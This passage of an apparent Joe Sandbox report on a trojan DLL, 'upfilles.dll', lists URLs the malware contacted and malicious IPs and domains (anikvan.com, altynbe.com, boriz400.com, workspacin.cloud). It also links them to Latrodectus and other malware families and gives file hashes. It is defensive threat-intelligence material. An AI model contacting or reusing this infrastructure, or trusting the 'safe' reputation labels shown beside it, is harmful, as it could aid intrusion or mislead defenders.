https://powerpoint.office.comcember	explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://workspacin.cloud/	explorer.exe, 00000016.00000002.2945734291.000000000C54A000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://altynbe.com/X	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepP	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000016.00000000.1850142884.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000000.1847476814.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000002.2941807069.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://altynbe.com/d	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anikvan.com/api/azure==	rundll32.exe, 00000012.00000003.2680109233.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.00000292115EE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738816096.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpMfE	rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/5~	rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://boriz400.com/	rundll32.exe, 00000012.00000003.2397236802.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/q	explorer.exe, 00000016.00000000.1847916203.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepjB	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/api/azureure	rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://altynbe.com/=~	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/n	rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php4	rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep&j	rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/api/azurep	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.164.68.73	anikvan.com	Gibraltar	29632	NASSIST-ASGI	true
138.124.183.215	altynbe.com	Norway	8983	NOKIA-ASFI	true
104.21.16.155	workspacin.cloud	United States	13335	CLOUDFLARENETUS	true
3.69.236.35	ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
91.194.11.183	boriz400.com	Russian Federation	42994	HQservCommunicationSolutionsIL	true
54.175.181.104	ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1439879
Start date and time:	2024-05-11 00:03:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	upfilles.dll.dll (renamed file extension from exe to dll)
Original Sample Name:	upfilles.dll.exe
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@32/17@8/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 28 Number of non-executed functions: 74

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 20.189.173.20
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: upfilles.dll.dll

Simulations

Behavior and APIs

Time	Type	Description
00:04:08	API Interceptor	1500037x Sleep call for process: rundll32.exe modified
00:04:08	API Interceptor	1x Sleep call for process: loaddll64.exe modified
00:04:11	API Interceptor	4x Sleep call for process: WerFault.exe modified
00:04:51	API Interceptor	2619129x Sleep call for process: explorer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.155	uLBFBa5ZvB.exe	Get hash	malicious	Latrodectus	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
workspacin.cloud	uLBFBa5ZvB.exe	Get hash	malicious	Latrodectus	Browse	104.21.16.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	i6iffN1t06.elf	Get hash	malicious	Gafgyt, Mirai	Browse	34.249.145.219
	https://southwest.app.link/3p?$3p=e_adobe_campaign_classic&$original_url=https%3A%2F%2Fsouthwest.com%3F%24deep_link%3Dtrue%26~campaign%3Dac_sec_promo_20230615_sale_wow%26clk%3DSECTEMPLATELOGO%26%24fallback_url%3Dhttps://firefliesops.web.app	Get hash	malicious	HTMLPhisher	Browse	108.138.128.44
	https://01xz.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	52.84.125.55
	https://eu-west-1.protection.sophos.com/?d=keysurgical.de&u=aHR0cHM6Ly93d3cua2V5c3VyZ2ljYWwuZGUvSG9tZS9TZWxlY3RMYW5ndWFnZT9sYW5ndWFnZT1lbi1VUyZyZWRpcmVjdFVybD1odHRwczovL2VuZXJncmVlbi5ycy8ud2VsbC1rbm93bi9hY21lLWNoYWxsZW5nZS8=&p=m&i=NjEwYjE2Y2U0Zjc0MWMwZTk2MmNlZjk5&t=OE0wZTk1N0Y5dDJ6N29CQlM3RlRxNW5DbXpKbTRqcWJzeTE0UnZUZXJyTT0=&h=ccb3dc1d93924e5398cb784943bcbc84&s=AVNPUEhUT0NFTkNSWVBUSVaHyS6hqym7qLqtAI_LAX_uaGik92MJH8on0iF38froOA	Get hash	malicious	HTMLPhisher	Browse	3.162.163.114
	http://Cerberus-sharedoc.com	Get hash	malicious	Unknown	Browse	76.223.105.230
	dnriW2LcP1.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	1XxZTVeKf6.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
	http://Cerberus-sharedoc.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	76.223.105.230
	f4twIqJjVs.elf	Get hash	malicious	Mirai	Browse	34.243.160.129
	vsxqsQ9E2C.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
HQservCommunicationSolutionsIL	QII19aQAik.elf	Get hash	malicious	Unknown	Browse	91.194.11.55
	SecuriteInfo.com.Win32.DropperX-gen.26130.25747.exe	Get hash	malicious	PureLog Stealer	Browse	45.144.29.148
	1DH6tNuQSm.exe	Get hash	malicious	PureLog Stealer	Browse	45.144.29.148
	35Td7CFTVK.exe	Get hash	malicious	PureLog Stealer	Browse	45.144.29.148
	https://s3.amazonaws.com/start-things/sjmarit/3.html#un/14227_md/1/2344/2071/58/37063	Get hash	malicious	Phisher	Browse	193.43.72.50
	https://s3.amazonaws.com/start-things/sjmarit/3.html#un/14204_md/1/2344/2071/49/107766	Get hash	malicious	Phisher	Browse	193.43.72.50
	PHQoJ3QygH.exe	Get hash	malicious	DanaBot, SmokeLoader	Browse	45.144.28.125
	https://ontechrio.com/fg/?83291211	Get hash	malicious	DarkGate	Browse	45.144.28.244
	https://vivianecerqueira.adv.br/ecut/?05691211	Get hash	malicious	DarkGate	Browse	45.144.28.244
	https://ledscreen.africa/dcil/?77391211	Get hash	malicious	DarkGate	Browse	45.144.28.244
CLOUDFLARENETUS	https://designerfloorsofhouston.com	Get hash	malicious	Unknown	Browse	104.16.117.116
	lctIZ.vbs	Get hash	malicious	AgentTesla	Browse	172.67.215.45
	europefridayedatingloverforchildern.jpg.vbs	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	GsjNF.vbs	Get hash	malicious	Unknown	Browse	104.21.84.67
	https://southwest.app.link/3p?$3p=e_adobe_campaign_classic&$original_url=https%3A%2F%2Fsouthwest.com%3F%24deep_link%3Dtrue%26~campaign%3Dac_sec_promo_20230615_sale_wow%26clk%3DSECTEMPLATELOGO%26%24fallback_url%3Dhttps://firefliesops.web.app	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://01xz.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	104.21.82.195
	https://eu-west-1.protection.sophos.com/?d=keysurgical.de&u=aHR0cHM6Ly93d3cua2V5c3VyZ2ljYWwuZGUvSG9tZS9TZWxlY3RMYW5ndWFnZT9sYW5ndWFnZT1lbi1VUyZyZWRpcmVjdFVybD1odHRwczovL2VuZXJncmVlbi5ycy8ud2VsbC1rbm93bi9hY21lLWNoYWxsZW5nZS8=&p=m&i=NjEwYjE2Y2U0Zjc0MWMwZTk2MmNlZjk5&t=OE0wZTk1N0Y5dDJ6N29CQlM3RlRxNW5DbXpKbTRqcWJzeTE0UnZUZXJyTT0=&h=ccb3dc1d93924e5398cb784943bcbc84&s=AVNPUEhUT0NFTkNSWVBUSVaHyS6hqym7qLqtAI_LAX_uaGik92MJH8on0iF38froOA	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	mrH7nYSmPU.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.5.15
	mrH7nYSmPU.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.26.5.15
	0CmMweT4Wf.exe	Get hash	malicious	LummaC	Browse	172.67.205.94
NOKIA-ASFI	X7oMmXD99L.elf	Get hash	malicious	Mirai	Browse	143.209.208.222
	JJXXAhUWC.ps1	Get hash	malicious	Unknown	Browse	138.124.184.247
	VtZtwUsgtrnEnlkxHy.ps1	Get hash	malicious	NetSupport RAT	Browse	138.124.184.250
	tOUKLPvSz.ps1	Get hash	malicious	NetSupport RAT	Browse	138.124.184.250
	HQuxVxuLV.ps1	Get hash	malicious	NetSupport RAT	Browse	138.124.184.250
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	138.125.13.165
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	138.126.170.50
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	135.39.41.180
	https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA	Get hash	malicious	HTMLPhisher	Browse	138.124.184.68
	dugw41p62T.elf	Get hash	malicious	Mirai	Browse	135.22.62.0
NASSIST-ASGI	INVOICE087667899.exe	Get hash	malicious	Unknown	Browse	94.131.14.66
	http://pixelread.com	Get hash	malicious	Unknown	Browse	94.131.101.214
	MDE_File_Sample_8d9e7171af105f6468825bf20138d02a7b068c50.zip	Get hash	malicious	Unknown	Browse	94.131.101.129
	http://bavettessteakhouse.com	Get hash	malicious	Unknown	Browse	94.131.101.214
	http://svif-venezuela.com	Get hash	malicious	Unknown	Browse	94.131.101.129
	MDE_File_Sample_c035ea05c53efc10b65ede03b5550188cbb2e484.zip	Get hash	malicious	NetSupport RAT	Browse	94.131.101.180
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	94.131.14.66
	https://islandwaysorbet.com	Get hash	malicious	Unknown	Browse	94.131.101.129
	http://svif-venezuela.com/	Get hash	malicious	Unknown	Browse	94.131.101.129
	http://asana.wf	Get hash	malicious	Unknown	Browse	94.131.101.65

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zTegZAXLub.msi	Get hash	malicious	VMdetect	Browse	104.21.16.155
	mrH7nYSmPU.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.16.155
	mrH7nYSmPU.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.16.155
	0CmMweT4Wf.exe	Get hash	malicious	LummaC	Browse	104.21.16.155
	TePd86X60h.exe	Get hash	malicious	LummaC	Browse	104.21.16.155
	jHLijDfFFA.exe	Get hash	malicious	LummaC	Browse	104.21.16.155
	nMkQ2yFWe4.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.16.155
	nMkQ2yFWe4.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	104.21.16.155
	NFs_76042.msi	Get hash	malicious	PrivateLoader, VMdetect	Browse	104.21.16.155
	Purchase Order is approved20240509.cmd	Get hash	malicious	DBatLoader	Browse	104.21.16.155
37f463bf4616ecd445d4a1937da06e19	7Tat3LP3VY.msi	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	2R78NbtrsM.msi	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	europefridayedatingloverforchildern.jpg.vbs	Get hash	malicious	AgentTesla	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	INV_#016789.vbs	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	uLBFBa5ZvB.exe	Get hash	malicious	Latrodectus	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	verycuteflowerpictureimage.jpg.vbs	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	mexicodatingloverforchildern.jpg.vbs	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	itBEKxL3Gw.exe	Get hash	malicious	Unknown	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183
	SR-968_Equip_Matl_WDS_rev.Aa_04302024.exe	Get hash	malicious	GuLoader	Browse	95.164.68.73 54.175.181.104 138.124.183.215 3.69.236.35 91.194.11.183

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_964e80f5d1a5f925558a7e6299462efecb949df_9db0ef65_6fb130ca-cac1-4736-bec2-e227247d8b1e\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695669651831538
Encrypted:	false
SSDEEP:	96:0SFi/iSyKyosj+4RvNxrfNrQXIDcQOc6ncECcw3l+XaXz+HbHgSQgJjZh88Wpoxf:3ciSyoA80wjIx8jbyzuiFeZ24lO83l
MD5:	F38F1F5A2799280E9AE9ECAED3D4D7F2
SHA1:	614B13F3576A06B0A5D66A28720AD52CD48F64F1
SHA-256:	73EACA5144E5222EA3859908633BE224CDF2CD699D28056A5D123197108AFA1D
SHA-512:	B9504BAE2E55AB063A7D732A66DBD0739F937C3A3F9B1ED05B2C9E54966B1D4A4FF1AF7BF0FA1B5BC023C7BFA404DDCCC9217463CBFCCB67275A9DBB3F848250
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.8.7.5.7.2.1.5.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.9.1.1.6.5.9.8.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.f.b.1.3.0.c.a.-.c.a.c.1.-.4.7.3.6.-.b.e.c.2.-.e.2.2.7.2.4.7.d.8.b.1.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.f.f.0.0.0.3.c.-.c.f.1.a.-.4.8.1.3.-.9.0.a.4.-.5.5.b.6.8.a.f.9.f.4.1.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.p.f.i.l.l.e.s...d.l.l...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.7.8.-.0.0.0.1.-.0.0.1.4.-.8.e.2.1.-.0.7.f.b.2.5.a.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_964e80f5d1a5f925558a7e6299462efecb949df_9db0ef65_d9b8934c-437b-450d-af46-0185962b24b1\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695284270582192
Encrypted:	false
SSDEEP:	96:DgFPd/ifyKyOsj+4RvNxrfNrQXIDcQOc6ncECcw3l+XaXz+HbHgSQgJjZh88Wpo3:s11ifyOA80wjIx8jbyzuiFeZ24lO83D
MD5:	2A79D4F0CC409452333A8DDF84450AEF
SHA1:	512CBEAAAC2972AE331C435F33652DABEA99A541
SHA-256:	3B527751CA5679B2B05D430B17ADDE2A98AFCC30216D6AA11E58AFF116A824B0
SHA-512:	9B02987593193A773237874A8B64ED4910787AF41B8B8ABCCC5DBA27DF4A1CFE6DC316B2342075BCB51ADB9B0D7033C8AEE7CBCC8867DFD0860E46D5A3FFF0A6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.5.2.8.4.4.3.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.9.8.5.2.2.4.5.5.9.6.9.2.5.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.9.b.8.9.3.4.c.-.4.3.7.b.-.4.5.0.d.-.a.f.4.6.-.0.1.8.5.9.6.2.b.2.4.b.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.a.7.5.8.8.6.c.-.1.e.1.4.-.4.9.7.7.-.a.4.1.a.-.1.2.a.6.4.d.0.0.c.9.b.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.p.f.i.l.l.e.s...d.l.l...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.7.4.-.0.0.0.1.-.0.0.1.4.-.9.1.1.3.-.3.8.f.9.2.5.a.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_upf_dc8a9dd96bb43aa654aa29aa9f464ac6a31131f_9db0ef65_7dc7f057-dc81-4d91-9caa-bd8701d223a3\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695293488830603
Encrypted:	false
SSDEEP:	96:CcxgFF3/iOyKyZsj+4RvNxrfKQXIDcQOc6ncETcw3CCXaXz+HbHgSQgJjZh88Wp8:FgviOyZK0wjpFjbyzuiFeZ24lO83
MD5:	02C2AE579A388FFA4C5C6A5104F49832
SHA1:	0C660AE3539AE95EDF65C53088E9DA7EB5DFFEC9
SHA-256:	C313D051688A264AD7778F15CEC6ECB0D2FA908EA92D9134E25ED80B3B43C826
SHA-512:	A0A17281B979ACB45169A5C79673EC67EEC58F73B21E9D325CE34BD1630D7DBF459BF7AA4DCCE803D8D4842130BCD62AEE4F3822E8A75FA2770905BD285D0830
Malicious:	false
